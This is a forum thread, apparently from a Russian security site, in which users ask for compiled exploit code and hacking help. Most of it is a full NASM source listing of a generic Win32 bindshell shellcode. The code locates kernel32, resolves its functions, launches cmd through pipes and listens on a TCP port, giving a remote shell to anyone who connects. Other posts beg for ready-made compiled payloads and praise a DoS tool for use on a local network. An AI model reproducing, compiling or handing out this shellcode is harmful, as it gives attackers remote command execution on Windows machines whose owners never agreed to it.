karlss0n, i cant compile your code, man. i have many errors  [IMG]http://www.securitylab.ru/forum/smileys/smiley19.gif[/IMG] if you have compiled one pls send to askin@abv.bg [IMG]http://www.securitylab.ru/forum/smileys/smiley11.gif[/IMG]

Имхо, тут как раз валялся шелкод. Заточка под nasm.


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;         &nbs p;         &nbs p;         &nbs p;         &nbs p;            ;;
;;     |    &nb sp;,---.|  |          o     |    &nbs p;           ;;
;; ,---|,---.|   _.`--|,---.    ..   .|--- .,---.,---. ;;
;;  |   ||    |  &n bsp;|   ||   |  &nbs p; ||   ||   |,---|`---.  ;;
;;  `---'`    `---'   ``  ;  '    |`---'`---'`---^`---'  ;;
;;         &nbs p;         &nbs p;     `---'     ;           ;       ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; m00winbind.asm by  drG4njubas\\m00security      & nbsp;  ;;
;; Generic win32 bindshell  shellcode        &nb sp;        ;;
;; Compile: nasm -fbin  m00winbind.asm       &nbs p;         ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;         &nbs p;       www.m00security.org      &nbsp ;          ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
            
BITS 32
;ORG 0x00
PORT equ 0x697a ; Port to listen on.
                 ; Use network byte order!
                 ; 0x697a == 0x7a69
BUFF_SIZE equ 256
TIME_DELAY equ 80
NULL equ 0x00
SW_HIDE equ 0x00
GMEM_ZEROINIT equ 40h
SOCK_STREAM equ 0x01
AF_INET equ 0x02
SOCKET_ERROR equ 0xFF
INADDR_ANY equ 0x00
SOCKADDR_IN_LEN equ 16
jmp data_call
begin:
pop ebp  
push ebp
xor ebx, ebx
mov eax, [fs:ebx]               
inc eax                         
next_seh:
xchg eax, ebx                   
mov eax, [ebx-1]                
inc eax                         
jnz next_seh                    
mov edx, [ebx+3]                
xor dx, dx                      
mov ax, 0x1000                   
next_block:
cmp word [edx],0x5a4d    
je found_mz                     
sub edx,eax                
jmp next_block
found_mz:
mov ebx,edx                       
mov edi,dword [edx+60]    
add edi,edx                                                   
add ebx,[edi+120]
mov ecx,[ebx+24]   
mov esi,[ebx+32]   
mov edi,[ebx+36]
add esi,edx   
add edi,edx     
cld                     
search:     
lodsd     
add eax,edx
xchg esi,eax  
xchg edi,ebp
push ecx  
xor ecx,ecx    
add cl,15  
repe cmpsb  
jc restore1
restore2:
xchg esi,eax
pop ecx    
xchg edi,ebp
je found  
inc edi   
inc edi  
loop search
restore1:
mov esi, 15
sub esi,ecx    
sub edi,esi  
jmp restore2  
found:
xor eax,eax                       
mov ax,word [edi]
shl eax,2                       
mov esi,[ebx+28]
add esi,edx       
add esi,eax       
lodsd         
add eax,edx
mov esi,eax
mov edi,edx    
pop ebp

mov dword [ebp+lpKernelBase], edx

lea ebx, [ebp+strGlobalAlloc]
push ebx
push edi
call esi ;GetProcAddress

push BUFF_SIZE
push GMEM_ZEROINIT
call eax ;GlobalAlloc
mov dword [ebp+lpBuffer], eax

lea ebx, [ebp+strCreatePipe]
push ebx
push edi
call esi ;GetProcAddress
push eax

push NULL
lea ebx, [ebp+sa]
push ebx
lea edx, [ebp+hOutputWr]
push edx
lea edx, [ebp+hOutputRd]
push edx
call eax ;CreatePipe
   
pop eax
push NULL
push ebx
lea edx, [ebp+hInputWr]
push edx
lea edx, [ebp+hInputRd]
push edx
call eax ;CreatePipe

lea ebx, [ebp+strGetStartupInfo]
push ebx
push edi
call esi ;GetProcAddress

mov ebx, dword [ebp+lpBuffer]
push ebx
call eax ;GetStartupInfo
 
mov eax, [ebp+hOutputWr]
mov dword [ebx], eax
mov dword [ebx+60], eax
mov eax, [ebp+hInputRd]
mov dword [ebx+56], eax
mov dword [ebx+44], 101h
   
lea eax, [ebp+strCreateProcess]
push eax
push edi
call esi ;GetProcAddress

;mov ebx, dword [ebp+lpBuffer]
push ebx
push ebx
push NULL
push NULL
push NULL
push 1
push NULL
push NULL
lea ebx, [ebp+strCMD]
push ebx
push NULL
call eax ;CreateProcess
   
lea ebx, [ebp+strCloseHandle]
push ebx
push edi
call esi ;GetProcAddress
push eax

push dword [ebp+hOutputWr]
call eax ;CloseHandle
pop eax
push dword [ebp+hInputRd]
call eax ;CloseHandle
 
lea ebx, [ebp+strLoadLibraryA]
push ebx
push edi
call esi ;GetProcAddress

lea ebx, [ebp+strwsock32dll]
push ebx
call eax ;LoadLibraryA
mov edi, eax

lea ebx, [ebp+strsocket]
push ebx
push eax
call esi ;GetProcAddress

push NULL
push SOCK_STREAM
push AF_INET
call eax ;socket
mov dword [ebp+hsock], eax

lea ebx, [ebp+strbind]
push ebx
push edi
call esi ;GetProcAddress

push SOCKADDR_IN_LEN
lea ebx, [ebp+sockaddr_in]
push ebx
mov ebx, dword [ebp+hsock]
push ebx
;push dword [ebp+hsock]
call eax ;bind
cmp eax, SOCKET_ERROR
je je_exit1

lea eax, [ebp+strlisten]
push eax
push edi
call esi ;GetProcAddresss

push 1
push ebx ;dword [ebp+hsock]
call eax ;listen

lea eax, [ebp+straccept]
push eax
push edi
call esi ;GetProcAddress

push NULL
push NULL
push ebx ;dword [ebp+hsock]
call eax ;accept
mov dword [ebp+hsock], eax
xchg edi, dword [ebp+lpKernelBase]
ReadConsoleOut:
lea eax, [ebp+strPeekNamedPipe]                
push eax                   
        push edi                   
        call esi ;GetProcAddress

push NULL
push NULL
lea ebx, [ebp+dwAvail]
push ebx
push BUFF_SIZE
push NULL
push dword [ebp+hOutputRd]
call eax
cmp eax, 0
je_exit1:
je je_exit2
cmp dword [ebx], 0
je ReadConsoleIn

lea eax, [ebp+strReadFile]                
push eax                   
        push edi                    
        call esi ;GetProcAddress

push NULL
;lea ebx, [ebp+dwAvail]
push ebx
push BUFF_SIZE
push dword [ebp+lpBuffer]
push dword [ebp+hOutputRd]
call eax ;ReadFile
cmp eax, 0
je je_exit2

lea eax, [ebp+strsend]                
push eax                   
        push dword [ebp+lpwsock32]                
        call esi ;GetProcAddress

push NULL
push dword [ebx] ;[ebp+dwAvail]
push dword [ebp+lpBuffer]
push dword [ebp+hsock]
call eax ;send
cmp eax, SOCKET_ERROR
je_exit2:
je je_exit3
call Delay
jmp ReadConsoleOut
ReadConsoleIn:
lea ebx, [ebp+strrecv]
push ebx
push dword [ebp+lpwsock32]
call esi ;GetProcAddress
push NULL
push BUFF_SIZE
push dword [ebp+lpBuffer]
push dword [ebp+hsock]
call eax ;recv
cmp eax, SOCKET_ERROR
je_exit3:
je exit
cmp eax, NULL
je exit
mov dword [ebp+dwAvail], eax

lea eax, [ebp+strWriteFile]
push eax                   
        push edi                    
        call esi ;GetProcAddress

push NULL
lea ebx, [ebp+dwAvail]
push ebx
push dword [ebx]
push dword [ebp+lpBuffer]
push dword [ebp+hInputWr]
call eax ;WriteFile
cmp eax, NULL
je exit

call Delay
jmp ReadConsoleOut
exit:
lea eax, [ebp+strExitProcess]                
push eax                   
        push edi                
        call esi      
       
        push NULL
        call eax  ;ExitProcess  
                          
data_call:
call begin
data:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;   KERNEL32.DLL IMPORTS   ;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
db "GetProcAddress",0
strLoadLibraryA equ $-data
        db "LoadLibraryA", 0   
strExitProcess equ $-data
        db "ExitProcess",0
        strCreatePipe equ $-data
        db "CreatePipe", 0
        strGetStartupInfo equ $-data
        db "GetStartupInfoA", 0
        strCreateProcess equ $-data
        db "CreateProcessA",0
        strCloseHandle equ $-data
        db "CloseHandle", 0
        strGlobalAlloc equ $-data
        db "GlobalAlloc",0
        strPeekNamedPipe equ $-data
        db "PeekNamedPipe",0
        strReadFile equ $-data
        db "ReadFile",0
        strSleep equ $-data
        db "Sleep",0
        strWriteFile equ $-data
        db "WriteFile",0
       
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        ;;;;;   WSOCK32.DLL IMPORTS   ;;;;;
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        strwsock32dll equ $-data
        db "wsock32", 0
        strsocket equ $-data
        db "socket", 0
        strbind equ $-data
        db "bind", 0
        strlisten equ $-data
        db "listen", 0
        straccept equ $-data
        db "accept", 0
        strrecv equ $-data
        db "recv",0      
        strsend equ $-data
        db "send",0
               
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;    OTHER DATA     ;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        lpKernelBase equ $-data
        lpwsock32 equ $-data
        dd NULL       
        hsock equ $-data
        hOutputWr equ $-data
        dd NULL
hOutputRd equ $-data
dd NULL
hInputWr equ $-data
dd NULL
dwAvail equ $-data
hInputRd equ $-data
dd NULL
lpBuffer equ $-data
dd NULL
       
        sockaddr_in equ $-data
        sin_family dw AF_INET
        sin_port dw PORT
        sin_addr dd INADDR_ANY
        sin_zero times 8 db NULL
       
        sa equ $-data
nLength dd NULL     
lpSecurityDescriptor dd NULL
bInheritHandle dd 1

strCMD equ $-data
        db "cmd",0
       
        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;    PROCEDURES      ;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Delay:
lea eax, [ebp+strSleep]                
push eax                   
        push edi                  
        call esi ;GetProcAddress
push TIME_DELAY
call eax ;Sleep
retn

И еще хотел спросить...Что конкретно надо подучить чтобы понять действие этого либо другого подоного win-эксплоита...Ну понятно что C но что конкретно?
Еще раз тхэнкс  [IMG]http://www.securitylab.ru/forum/smileys/smiley4.gif[/IMG]

Народ так есть ли данная штука в пабликах с шеллом ?

Не паникуй

Дайте рабочий исходник с шелкодом плиз или уже откомпиленый

дайте!

наплел сам не понял чего

юююприветствую Вас , злобные хацкеры, случайно нажал на "высказаться"... чтож придётся двигать речь...
У нас в раёне проведена локалка, и Dos.exe просто не заменима , если кто - то , что - то не хочет давать ) [IMG]http://www.securitylab.ru/forum/smileys/smiley4.gif[/IMG] ... ну всех благ!!!

:help:  I need ,teacher,,,[ hack ] ,plz help me ,,,i really want it ,
from mongolia,,,